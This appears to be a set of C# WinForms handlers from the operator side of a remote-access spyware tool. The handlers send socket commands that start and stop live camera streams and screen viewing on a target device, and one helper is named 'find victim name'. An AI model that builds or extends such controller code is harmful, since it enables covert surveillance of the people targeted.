private void Kamera_FormClosing(object sender, FormClosingEventArgs e) { if (metroButton3.Text == "Stop") { try { byte[] senddata = Form1.MyDataPacker("LIVESTOP", Encoding.UTF8.GetBytes("ECHO")); soketimiz.Send(senddata, 0, senddata.Length, SocketFlags.None); } catch (Exception) { } if (infoAl != null) { infoAl.CloseSocks(); } } /* * try * { * byte[] senddata = Form1.MyDataPacker("WEBCAMSTOP", Encoding.UTF8.GetBytes("ECHO")); * soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); * } * catch (Exception) { } */ }
private void Kamera_FormClosing(object sender, FormClosingEventArgs e) { if (metroButton3.Text == "Stop") { try { byte[] senddata = Form1.MyDataPacker("LIVESTOP", Encoding.UTF8.GetBytes("ECHO")); soketimiz.Send(senddata, 0, senddata.Length, SocketFlags.None); } catch (Exception) { } if (infoAl != null) { infoAl.CloseSocks(); } System.Threading.Tasks.Task.Delay(200).Wait(); } }
private void button2_Click(object sender, EventArgs e) { if (button1.Enabled == false) { try { byte[] senddata = Form1.MyDataPacker("SCREENLIVECLOSE", System.Text.Encoding.UTF8.GetBytes("ECHO")); sock.Send(senddata, 0, senddata.Length, SocketFlags.None); } catch (Exception) { } button2.Enabled = false; button1.Enabled = true; if (infoAl != null) { infoAl.CloseSocks(); } } }
private void UploadProgress_FormClosing(object sender, FormClosingEventArgs e) { if (infoclas != null) { try { infoclas.CloseSocks(); } catch { } } }
private void Yuzde_FormClosing(object sender, FormClosingEventArgs e) { if (infoclas != null) { try { infoclas.CloseSocks(); } catch { } } if (fs != null) { fs.Flush(); fs.Close(); fs.Dispose(); } }
private void UploadProgress_FormClosing(object sender, FormClosingEventArgs e) { if (infoclas != null) { try { ((Form1)Application.OpenForms["Form1"]).receiveClasses.Remove(client.Handle.ToString()); } catch { } try { infoclas.CloseSocks(); } catch { } } }
private void metroButton3_Click(object sender, EventArgs e) { if (enabled == false) { if (!string.IsNullOrEmpty(metroComboBox5.SelectedItem.ToString())) { Text = "Camera Manager - " + ((Form1)Application.OpenForms["Form1"]).krbnIsminiBul(soketimiz.Handle.ToString()); metroButton3.Text = "Stop"; label1.Visible = false; string cam = ""; string flashmode = ""; string resolution = ""; string focus = metroCheckBox2.Checked ? "1" : "0"; cam = metroComboBox5.SelectedItem.ToString().Replace("Front: ", "").Replace("Back: ", "").Replace("Unknown: ", ""); // 1 ön kamera flashmode = metroCheckBox1.Checked ? "1" : "0"; label1.Visible = false; resolution = metroComboBox2.SelectedItem.ToString(); try { byte[] senddata = Form1.MyDataPacker("LIVESTREAM", Encoding.UTF8.GetBytes("[VERI]" + cam + "[VERI]" + flashmode + "[VERI]" + resolution + "[VERI]" + metroComboBox1.SelectedItem.ToString().Replace("%", "") + "[VERI]" + focus)); soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } enabled = true; } else { MessageBox.Show("Please select a camera", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } } else { if (infoAl != null) { infoAl.CloseSocks(); } try { byte[] senddata = Form1.MyDataPacker("LIVESTOP", Encoding.UTF8.GetBytes("ECHO")); soketimiz.Send(senddata, 0, senddata.Length, SocketFlags.None); } catch (Exception) { } metroButton3.Enabled = false; metroButton3.Text = "Wait.."; } }
private void Yuzde_FormClosing(object sender, FormClosingEventArgs e) { if (infoclas != null) { try { ((Form1)Application.OpenForms["Form1"]).receiveClasses.Remove(client.Handle.ToString()); } catch { } try { infoclas.CloseSocks(); } catch { } } if (fs != null) { fs.Flush(); fs.Close(); fs.Dispose(); } }